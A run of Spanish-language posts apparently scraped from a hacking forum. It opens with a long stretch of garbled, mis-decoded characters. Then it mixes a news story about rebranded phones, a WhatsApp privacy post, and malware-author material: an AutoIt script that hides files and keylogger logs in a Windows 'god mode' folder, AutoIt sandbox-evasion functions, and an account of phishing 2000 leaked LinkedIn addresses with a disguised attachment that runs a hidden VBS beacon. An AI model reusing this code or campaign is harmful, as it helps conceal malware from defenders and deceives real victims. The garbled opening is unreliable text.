਍汣൳┊癴瑳歬╥╀祴桷硧╴╥瑮摩牴╶╣扦捪汬╥╨此浲扫╯╯灰橺扯╶┠歮瑢煨╡╯敶摺睭╫╦捵慥橭╯╦穮穬敬╣┍瑰硤灪╫┊畡桩牦╲╥浮捡煥╳╣汳歭祬╺╨敺睴晰╪╯湮桥敢╰┠穯穬灹╮╗慧牡汰╬╁獲特浺╹╒祢癬灮╲╎灹牪杸╸╉牣瑤灸╯╎橳楲浭╤╇汹摦瑣╩┠睩硳癬╬╖扺橰牵╵╉獴汴歯╭╒牷慫癧╥╕物桳癲╢╓湦畱浶╲┠摤汪慵╬╈歪慧桤╢╁敪敤畬╶╓捴扦祺╥┠獷景楥╡╂癹湮瑰╤╅橭潸獶╴╅瑰摨捨╧╎楷睨桳╦┠極睨睥╶╄扤捫慹╴╅摭獵晤╮╔特穪杵╰╅祺扱牸╣╃汷敧桰╸╔灲摵穥╪╅摩空睡╯╄杦獩汦╯┍祸扲杫╳┊敦歪汩╷╥牡瑥敫╤╣牵杰硲╱╨湨瑰硩╣╯汵敨睢╮┠楡歸摸╩╓晱灪慧╨╹癲穸海╱╳智捹獮╦╴牣潺扡╲╥癶瑳発╰╭煲橹浣╧┠牥湹浮╣╣捭湰牧╱╨潩瑯楷╭╥摳杪汸╡╣杳畮穲╯╫煥極穰╦┍穸杶畨╯┊桶煤橧╹╥湨潬歫╦╣桦祭穤╫╨浵灰硸╧╯慭晱牪╹┠桬浣晷╹┭煨捰硦╵┍獳浵穢╢┊武杭穡╤╥瑲硣慸╵╣扲扦湬╴╨武浱浹╺╯硧摸硶╸┠楦摲浢╨═煪睫癶╩╯癴穸硪╢╷浰睶潴╨╥灵祰硵╹╲杪浣畩╮┠橱楲扺╳┭敨歩睷╨┠祲湢慱╥╆灬煦獬╷╁究浡睳╡╉潡汥敮╬╌歸祣畲╢╅扶灶楲╶╄桢敳煺╭┍扢楰捩╦┊穫晱杶╯╥灮歡煢╫╣獰獺扬╮╨牫扮瑧╰╯牧桴此╱┠杯慳煯╱┭晭扴晡╦┍祶桷橵╤┊慥硦湡╸╥灱敶潱╺╣睲晣慴╭╨楯楳煬╩╯浪楧桡╴┠汧汱硬╫╒數硵畢╹╁癰晣灧╣╍扸灵略╧┠潳祱浧╮┭穳獦祣╭┠汹祢晥╭╆瑴牸祭╪╁晳潩汵╳╉湰扺扲╤╌摱浯潨╭╅捱杫慪╰╄潵獬歷╢┍獮祥摶╺┊湪潫癹╱╥潷獫癪╭╣歬穧瑲╭╨污祡煳╷╯慫汶畴╫┠摫祺桯╺┭潷浧桭╱┍睰汨捥╹┊灴摴歳╵╥癧扢汷╢╣數捹桺╶╨橬畢晴╱╯硥橣慦╩┠敤煯潳╩╎祦潦祱╱╯慱祫慭╸╲桸汹桷╮╴煪扯楴╥╯橰潷潷╰╮楷煣畵╪┠敦煮穧╳┭晷楤畸╲┠祩楡睧╥╆瑬摪杧╬╁穡獤摢╦╉扦畷浢╷╌瑵楫橱╬╅睢敺照╲╄牳杰浤╦┍睪獮楮╯┊湤畲扨╧╥浧橨決╹╣扬業瑵╪╨楯摯据╬╯祮瑨牮╦┠畭扡晨╫┭潭晷獰╤┍硣橣灲╹┊浦潭祸╶╥灨睬歨╸╣摶硶楯╮╨摲摢穫╯╯瑺睡晶╯┠摥晦湸╰╂汧摤祢╣╲湰瑮捨╶╥浨楨睮╪╡楣扪灢╬╣杧湥票╳╨止浳煷╥┠祲楸浴╩╯扰执捹╩╦瑨歯硣╭┠潩汣橭╥╉浫捣畣╸═浤灭湪╫┠祪番畭╫╡晥湦湵╨╤獤汱扢╱╲慡票牺╢╥煢楶摯╫╳灢摲灱╯╳汭睸獳╬┍煦捱浳╪┊慵歳武╯╥扨潲歲╫╣硷睮楹╫╨祬畩杺╶╯湶档橡╩┠煶癧睶╸┭汯煳煩╡┍橡桯牬╷┊捥穢慺╳╥桲硪慤╺╣物穧睧╴╨睷煪畡╯╯歰晪灭╨┠牯浶摡╧╆汱汮湹╯╩浢癲煴╷╲数火灳╸╥摴祷硡╤╷睡此摥╮╡癨浫橢╨╬牱浵潮╲╬獨敫橥╰┠歳晩汮╣┭煤楶潣╶┠桺晴晭╢╆橤杮湭╳╁牭湷獭╶╉摺牰牲╭╌潫汢畺╰╅瑢睺煪╺╄歶穤橤╱┍橸湴瑶╩┊穤浹扱╴╥晧桡汪╶╣睦祴穪╱╨捫湱杳╧╯汥橩慬╮┠畵潯硯╩┭歸瑹桴╦┍湺扷獥╨┊扮捨牫╸╥扪業楨╺╣煱扭湳╹╨慷橲癴╺╯瑦煴穭╸┠癮杤摳╲╖橺湴晪╴╩煡潡煭╨╲摸牱杤╣╵桴牥祴╯╳癪浪癰╳┠穨杳歵╳╡煺潡晹╷╴睨祳歸╡╴橢桮捺╨╡橶瑹睦╵╩晩桺睸╧╮摷獱癱╲╩慣硧捭╭╮硳捴究╭╧湴湨汫╵┺硡灨牣╪┠橥扩慯╶┪湸杢畯╴┪硬潥獣╹┪橦扩汣╧┪畯慺煵╶┭癤祵潷╦┪歮汯牷╳┪湭穳敲╨┪楧癤祥╫┪特畦獷╳┭穷敮楶╤┪晩扶楺╪┪穧汷硳╰┪畯癶摸╹┪獮獺煸╤┭潧牨汷╱┸楩灹睵╹┸歴穤祱╧┹捧瑷硰╨┴慬捨杷╮┍畳潰浡╸┊捧穡汭╤╥灨照睫╢╣灺橷獢╺╨楫橴瑫╭╯湵浧睹╦┠敲橦湩╬┭桶決睩╣┍穬穭瑸╲┊扲癢慮╷╥浢灮捷╺╣煳扬祦╪╨桭摯牡╡╯杰獦捲╳┠杢穯捣╰╈捹浬瑧╦╡瑷捦桧╡╲穣獣潯╱╤瑣睹扸╪┠牭獡晫╳╤桰硪灰╰╲歲晩慡╲╩祦杴穧╩╶橩癤橳╵╥祰潣潤╵┠祮潤摰╪╭煷畦桪╩╵獦歰浰╢╳桲牥湦╤╴潳獬祩╲┠慰督潡╭╢敬癱杰╹╥獢煶摬╣┠睹步獱╣╥湱瑭湶╧╲瑹捥獴╫╡杴決汶╲╳桮祫散╥╥摡汬整╱╤慮督摭╢┠硵捳歩╷╡畫杦桲╷╮歫牴瑨╥╤畳畴穹╵┠杶晵楬╦╲歯汮捫╤╥晫扵瑮╵╢杸晵瑹╱╯獦晬祲╦╯摣汫灨╢╴獬祥獩╯╥癬浩杣╤╤杹穰条╵┠潱祱扳╣╴硯楺煲╮╯捡杧牶╵┠硹煩杯╺╲扮桬敩╵╥灦睬祵╮╳睥摸浨╭╵晡瑫敱╩╭桬数杭╱╥穹祩杬╲┠楫灹桩╪╷牫瑢畷╨╩慹摭瑪╮╮浺癳敧╬╤硹癭瑭╶╯晣潦捧╷╷汭牳敵╰╳扪潲癥╶┮敮灬敦╭┍督敹扵╢┊祪慮楫╨╥畡捤摨╶╣潫晸桢╴╨晥楡穷╫╯潯敶摤╯┠整摡汹╺┭慱煸扣╰┍煯桲灣╫┊硵睯硬╡═牵慫橴╴╁灤硭湧╣╕敧捶硭╺╓桩橵楷╢╅杤瑪慲╤┍杺穰牯╥┊癨獯硺╥╥癦獰浬╴╣潯穲煦╳╨煸灢畬╬╯敪睱癢╮┠汫硸桦╢┭票慯硷╷┍捣慢潬╩┊慡摬敷╹╥瑱灱扭╭╣汩硹睲╱╨牱東扰╵╯敬煬瑲╢┠灭歡普╡╓慲煸浱╡╴業橴晸╸╡癬来獦╧╲捩瑶楣╲╴獪敪癳╡╩獪祦桵╥╮摮歧牨╱╧楧灺汧╮┠捣晧捪╥╴数橧捶╡╯慥牢慣╡┠慴灷硤╬╲灤捱扥╹╥瑤煵潺╮╢摰敢潸╥╯汩摣橰╭╯晭癰牤╩╴歺獸獨╰┠畱畵潫╪╨穥浸浥╥╡浸扸桱╸╲畷楪癤╷╤湹杢晢╥╲灪煦桸╭╩硱捴潨╢╶杣瑫灥╴╥晤敥慡╭┮摫杬杹╧┍慴杷汫╱┊慫祭杢╯╥瑶穪楫╢╣潺畳獪╩╨晶煱楴╯╯桺獫牵╦┠穰桸潪╶┭扶摭発╡┍确晤牷╯┊扤煢湦╹╥獹瑥条╰╣牡桶煳╨╨桧杺祮╳╯湪扢桧╵┠敩獵睧╰╄慧穮歡╴╯畨摫硩╮┠捸楱瑫╨╮獡湺摱╥╯癣癹潡╧╴橱睩湨╸┠橭捯敤╹╡祴癮歯╸╴橹摳獰╹╴牢捱摵╬╥瑪獡桡╥╭獣桵扦╳╰潷慸畵╵╴污汲摡╢┠灷汦癰╮╴摭杫牬╲╯桫慴桱╲┠祣楣捶╶╱畤橰潦╯╵牥扰究╧╩獹湡獣╴╴摥瑷穦╴┮決浳獭╱┍祹橤晵╡┊晶睵睲╬╥癷桪楨╴╣癷扥番╸╨牨癫硬╶╯癡慤牫╳┠杯楦灹╸┭桢浦火╴┍摲畡湲╵┊敧獶汳╥╥獰晰潴╳╣睰瑴扯╧╨牪灦癢╪╯潵杣睥╧┠楺祯敳╣╒湬癷晷╪╥硣硴扺╣╳捲灷穴╸╴灪敷畦╱╡硪汩楳╰╲煬橡獲╸╴獷瑦畭╦┠歪湸畬╧╡橯睪捴╭╦捶楱楸╷╴慣汸潵╲╥硫汩瑧╡╲祣摸潸╹┠煮摶照╬┱睸杩瑶╥┰浵摧橦╫┠灹晡獦╢╭睨汪硦╦╩橵灣睫╷╮略橰穳╹╵究癮癣╩╴煰硱潷╡╥灳浨祯╲╳數汬杪╣┠汢杮灣╥╡扺睧散╺╰楦浤汬╰╰特楶晥╸╲慰浣捧╲╯灳牬浭╯╸獵穫硷╲╩桩慵睤╨╭桥条湺╩╡睬空獫╨╴東楥慭╩╥空潨敦╨╬扩敲楬╡╹灵汧橣╣┮睶浮癦╱┍橳煤汷╬┊湮灲摭╸═扥汷穩╢╁敢敦灮╢╕睴湯歲╦╓换睧灱╪╅灷晢桲╱┍灱獭批╤┊汤晭扱╰┺楱煥慪╡╓杸睵桦╶╔摭慧敯╶╁瑮汶煤╤╒摶潶睵╴╔潹穷晨╦┍瑲晰穨╣┊摧湲硵╩╳灡究煶╰╴慩穭癮╥╡批硨瑯╯╲煨止睰╣╴瑨祦橫╱┠潢瑲摸╴╉睴獳硰╢╮晲捡湯╭╴此慩湳╴╥晢歫捫╹╲穪瑩楰╨╮硩煮癱╭╥畡灵煰╺╴潤湭扮╨┠灯祲摩╰╅楢獪捨╱╸杧慶歰╷╰穮湣牴╧╬楢祮煦╭╯畣灵扣╫╲癵桪硴╪╥湦楨祤╶╲瑰汵扲╯┮歭楳獢╵╢浱橭扢╬╡敦祺祱╡╴桭畯敧╧┍牷湡桯╩┊睮穹摹╳╇湨捣睳╫╏浫煳桫╢╔海硢桵╹╏楴歺祹╯┠穲扳浹╪╓晸煰瑨╺╔穸畭杰╳╁硧牮此╢╒湪睸畩╹T


Link a la herramienta No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Contraseña del rar: SadFud

Sin mas, hasta el próximo post  ;)
#19
Noticias Informáticas / La macro estafa de Zetta
Octubre 17, 2016, 03:40:10 PM

Buenas underc0deanos, si sois de españa os habreis enterado de esto, si no, hago un breve resumen: Zetta se anunciaba como una empresa que vendia móviles con unas altas prestaciones a precios muy baratos, según ellos creados desde cero en una localidad extremeña, la realidad es que simplemente compraban terminales xiaomi y les cambiaban la pegatina, si, así de cutre.
Dejo una noticia donde lo explican mas a fondo.


En 24 horas pueden ocurrir muchas cosas y en ese corto plazo de tiempo hemos vivido como una marca española pasaba de querer ser el Apple de Zafra (un pueblo de Extremadura, España) a todo un engaño, que escondía un negocio tan simple como coger unos smartphones chinos, ponerles encima una pegatina con una bellota mordida y venderlos al doble de su precio original.

Eso es lo que ha ocurrido con Zetta. La marca extremeña apenas era conocida a nivel nacional, en algunas ocasiones habían tenido su hueco en la televisión extremeña, pero muchos no la conocimos hasta que El Español les dedicó un artículo en su web ayer. Los sueños acabaron muy pronto, cuando Forocoches se puso en marcha para destapar la verdad sobre la marca, que estaba cogiendo distintos modelos de Xiaomi para venderlos como suyos.

Zetta se vendía hasta hace pocas horas como el milagro extremeño. Un técnico electrónico de Badajoz, Unai Nieto, y un inmigrante chino, Eric Cui, cuentan en El Español que sus caminos se cruzaron cuando el primero fue a comprar un móvil a la tienda del segundo. Eric estaba trabajando en un prototipo de smartphone con fallos de software, que Unai, con conocimientos sobre sistemas operativos móviles, logró resolver.



Así nació Zetta, que lanza su primer smartphone en diciembre de 2014. Cuentan al diario digital que en el primer día se vieron desbordados, vendiendo 500 unidades en su primer día, mientras en la trastienda seguían "ensamblando" más teléfonos, ya que ellos compraban las piezas necesarias a China pero el ensamblaje, teóricamente, se realizaba en Zafra.

De aquel primer Zetta Conquistador pasaron a un catálogo con más de media docena de terminales. Según Unai, el éxito (local) de su marca radicaba en ir siempre un paso por delante de las grandes marcas: si éstas apostaban por las cinco pulgadas ellos se pasaban a las 5,5, si lanzaban terminales con 2 GB de RAM ellos tenían uno con tres... Así hasta el Zetta Metal, que catalogan casi como un "iPhone killer" por la mitad de precio.

Y la verdad se destapa: Xiaomis renombrados



Con su aparición en El Español ayer, Zetta despierta un mayor interés, pero pronto se conoce la verdad. Esos maravillosos smartphones de precios ajustados pero de alta calidad que se diseñan y ensamblan en Extremadura esconden tras ellos una gran mentira: Zetta solo está cogiendo distintos modelos de Xiaomi y Doogee y les pone sus pegatinas y software.

Aparecen las primeras fotos en las que se detectan que bajo la pegatina de Zetta aparece el logo de Xiaomi y los archivos del sistema que revelan que estamos ante un Xiaomi. El timo es obvio: están vendiendo terminales chinos a un precio muy superior al que se pueden conseguir. Algo que difícilmente tiene defensa, sobre todo cuando se intenta ocultar la verdad. A esto hay que sumar que pretendían hacerse pasar como fabricante nacional, cuando en realidad el único proceso de ensamblaje era poner unas pegatinas y modificar el software.

AHORA TOCA DETERMINAR SI EL TIMO DE LOS MÓVILES ZETTA CONSTITUYE UN DELITO Y LAS CONSECUENCIAS

A la espera de que haya un comunicado oficial por parte de la marca, que difícil salida tendrá, lo único que hemos podido conocer son las supuestas palabras de Unai Nieto en una conversación vía Telegram, en la que además de alardear del empleo creado o de ofrecer un SAT en Extremadura, presume de que podría cerrar la sociedad tras Zetta sin grandes pérdidas. ¿Habrá consecuencias? FACUA ya está reclamando que a los usuarios que compraron un Zetta se les devuelva el dinero, mientras pide acciones a la Junta de Extremadura.

Fuente:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#20
Hola underc0deanos

Dejo este reportaje que me ha parecido interesante
#21

Buenas underc0deanos

En esta entrada mostrare como es posible explotar la característica de windows god mode y aprovecharla para la creación y ocultación de malware con un simple código de cuatro lineas.

Explicación oficial de microsoft sobre esta característica de windows (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta).

El código a continuación mostrado es un simple script en autoit que automatiza este proceso

Código: text
Local $directorio = "C:\Users\usuario\AppData\Roaming\godmode.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}"
Local $godmode = "C:\Users\usuario\AppData\Roaming\com4.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}"
DirCreate ($directorio)
Dirmove ($directorio , $godmode , 1)


*Nota: En caso de desconocer el nombre de usuario se puede usar @Username

Pero como puede esto ser aprovechado por un desarrollador de malware?

Seguro que hay muchas formas de aprovechar esta característica, a mi de entrada se me ocurren dos:

La primera consistiría en crear una entrada en el registro para iniciar nuestra aplicación en el arranque, copiando previamente el binario a esa localizacion.

La segunda y poniendo un ejemplo practico podría ser aprovecharnos de esta característica con un keylogger, almacenando los logs en esa localización, de este modo se podrían almacenar tranquilamente en texto plano sin riesgo de ser descubiertos.

Un saludo
#22
Buenas, dejo estas funciones codeadas en autoit, sirven para detectar si el proceso esta siendo ejecutado en un sandbox o otro tipo de entorno emulado, vease el deepscreen de Avast


Código: text
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author:         Blau
Thanks to: SadFud
#ce ----------------------------------------------------------------------------

#include <Misc.au3>

Local $aParams[3] ;Array que contiene los parámetros del callback
$aParams[0] = "CallArgArray" ;Obligatorio para la función Call
$aParams[1] = "Caca" ;$sTitle
$aParams[2] = "Pedo" ;$sMessage

AntiEmulationByMouse("Funciona", $aParams)
AntiEmulationByFreeSpace("Funciona", $aParams)
AntiEmulationByPixel("Funciona", $aParams)
AntiEmulationByWindow("Funciona", $aParams)
AntiEmulationByKey(41, "Funciona", $aParams)

Func AntiEmulationByMouse($sFunction, $aParams)
    Local $aPos = MouseGetPos() ;Obtiene la posición del ratón
    Local $bPos = MouseGetPos() ;Obtiene la posición del ratón otra vez
    While $aPos[0] = $bPos[0] And $aPos[1] = $bPos[1] ;Si las posiciones son iguales
        Sleep(100)  ;Esperamos 100 milisegundos
        $bPos = MouseGetPos() ;Obtenemos de nuevo la posición del ratón
    WEnd
    Call($sFunction, $aParams) ;Llamamos a la función callback
EndFunc

Func AntiEmulationByWindow($sFunction, $aParams)
    Local $aWindow = WinGetTitle("[ACTIVE]")
    Local $bWindow = WinGetTitle("[ACTIVE]")
    While $aWindow = $bWindow
        Sleep(100)
        $bWindow = WinGetTitle("[ACTIVE]")
    WEnd
    Call($sFunction, $aParams)
EndFunc

Func AntiEmulationByKey($sKey, $sFunction, $aParams) ;https://www.autoitscript.com/autoit3/docs/libfunctions/_IsPressed.htm
    While Not _IsPressed($sKey)
        Sleep(100)
    WEnd
    Call($sFunction, $aParams)
EndFunc

Func AntiEmulationByFreeSpace($sFunction, $aParams)
    Local $aSpace = DriveSpaceFree(@HomeDrive & "\")
    Local $bSpace = DriveSpaceFree(@HomeDrive & "\")
    While $aSpace = $bSpace
        Sleep(100)
        $bSpace = DriveSpaceFree(@HomeDrive & "\")
    WEnd
    Call($sFunction, $aParams)
EndFunc

Func AntiEmulationByPixel($sFunction, $aParams)
    Local $nRandomX = Random(0, @DeskTopHeight, 1)
    Local $nRandomY = Random(0, @DeskTopWidth, 1)
    Local $aPixel = PixelGetColor ($nRandomX, $nRandomY)
    Local $bPixel = PixelGetColor ($nRandomX, $nRandomY)
    While $aPixel = $bPixel
        Sleep(100)
       $bPixel = PixelGetColor ($nRandomX, $nRandomY)
    WEnd
    Call($sFunction, $aParams)
EndFunc

Func Funciona($sTitle, $sMessage)
    MsgBox(0, $sTitle, $sMessage)
EndFunc


Un saludo.
#23
Buenas underc0deanos;



*Esta entrada es la parte final de un proceso de investigación. En ningún momento de la misma se ha visto comprometida la información de ningún equipo.*


En esta entrada presentare un trabajo de investigación; el objetivo es comprobar la vulnerabilidad de los usuarios a una posible infección, en este caso usando como vector de ataque el hackeo a linkedin.

Para ello cree un pequeño programa en vb.net  simulando ser una herramienta para comprobar si la cuenta del usuario había sido publicada a través de su dirección de e-mail.

El programa en cuestion es el siguiente:





El programa es pura fachada evidentemente y no comprueba absolutamente nada.

Primera parte de la operación link azul:

Elegí 2000 email aleatorios de la base de datos de linkedin (seleccioné 1000 de España, para formar una estadística a parte)

El vector de infección para la propagación del programa fue un e-mail con dirección falsa y un archivo adjunto.



Como veis, nada sofisticado, sin invertir casi nada en la parte de ingeniería social.

Funcionamiento del archivo cebo:

El archivo simplemente crea un pequeño script en vbs para visitar una web sin abrir el navegador.

Código: vb
Set IE = CreateObject("InternetExplorer.Application")
IE.Visible = False
IE.Navigate "URL"


*Los créditos del script van en este caso para Adwind. Allí donde estés, un saludo  ;)

Cuando el usuario "comprueba su email" el programa simplemente ejecuta el archivo y lo borra.

Resultados:

Los resultados realmente me sorprendieron, empezaremos primero por los de España:

De 1000 emails enviados la web donde se recopilaban las ips y se pintaba el mapa, registro ni mas ni menos que 435



Esto nos deja el escalofriante dato de que un 43,5% de los usuarios ejecutaron y "comprobaron" su email.

En total el numero de usuarios afectados del total de 2000 fueron 1231 un 61,55%.

En el top 5 de paises se encuentran



En total hubo usuarios afectados en 62 paises

Como se puede observar en el mapa, los países mas afectados en su mayoría han sido de habla hispana, quizás si el mensaje hubiera estado escrito en ingles la cosa habría cambiado.

Conclusiones:

Al recopilar resultados me quede realmente sorprendido, no esperaba tener un ratio de infección de mas del 10-20%, pero la realidad a triplicado mis expectativas. Ante esto creo que hay mucho que reflexionar, que hubiera pasado si en vez de un script para realizar una conexión, el archivo fueses un ransomware, o un spyware, o cualquier tipo de malware? Realmente es la gente tan vulnerable? Eso parece... Por cuanto tiempo serán las personas el eslabón mas débil de la cadena? Me temo que siempre sera así. Afortunadamente desde organismos como INCIBE (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta) se lleva a cabo una ardua tarea de conciencian sobre el uso responsable de la tecnología; y bajo mi punto de vista este es el camino que mas hay que trabajar en la lucha contra el cibercrimen, la educación, es la base de todo, y en la tecnología no iba a ser menos.

Por ultimo quiero lanzar también una critica a todas las compañías de antivirus, estoy convencido que muchas habrán recibido la muestra, en la web que recopilaba las visitas se indicaba que todo era una investigación y que si algún investigador de seguridad, ya fuera de alguna empresa o independiente , llegaba ahí, que contactase. Nadie lo hizo. Ademas, la campaña fue lanzada a principios de Julio, han tenido dos meses para mover ficha, meter el dominio en lista negra... algo.. y este ha sido el resultado:


Eso es todo.

Un saludo.
#24
Seguridad / Riesgos de uso de Whatsapp
Octubre 07, 2016, 05:09:59 PM

Saludos underc0deanos

Este post tratara un tema que ha cobrado relevancia en España, a raiz de los cambios en las políticas del uso de los datos de los usuarios por parte de Whatsapp tras su compra por Facebook.

"(Madrid, 5 de octubre de 2016). La Agencia Española de Protección de Datos ha iniciado de oficio actuaciones previas de investigación para examinar las comunicaciones de datos personales realizadas entre Whatsapp y Facebook, así como los tratamientos que dicha comunicación genera. Estas actuaciones tienen por objeto estudiar si los extremos mencionados respetan la legislación española de protección de datos así como determinar, en su caso, las responsabilidades correspondientes.

La investigación se centrará, entre otros aspectos, en qué información de los usuarios de Whatsapp se recoge y envía a Facebook, los fines para los que se utiliza, los plazos de conservación, o las opciones que se ofrecen a los usuarios para oponerse a los tratamientos de su información personal.

El pasado mes de agosto WhatsApp actualizó los términos de su servicio y la política de privacidad, introduciendo cambios sobre la forma en la que maneja la información personal de sus usuarios. La AEPD, como hace habitualmente cuando surgen inquietudes con respecto al impacto que determinados productos o servicios pueden tener sobre la privacidad y la protección de datos de los ciudadanos, ya anunció entonces que estaba estudiando los cambios introducidos por la compañía.

Esta actuación de la Agencia española está en línea y se coordinará con iniciativas similares de Autoridades de Protección de Datos como Alemania, Italia o Reino Unido, si bien cada una actúa ejerciendo las potestades que le confieren sus respectivos ordenamientos nacionales.
"

Se puede ampliar en: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Junto con esta actuación por parte de la AEPD el CERT del centro criptológico nacional (dependiente del CNI) organismo encargado de la protección sobre sistemas clasificados y sobre sistemas de las Administraciones Públicas y de empresas y organizaciones de interés estratégico, ha publicado un informe donde detalla los riesgos de uso de Whatsapp, explicando la in-eficiencia de las medidas de seguridad que ofrece esta aplicación.

A continuación dejo un enlace al informe completo del CERT donde se analiza en profundidad la seguridad de whatsapp:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Un saludo.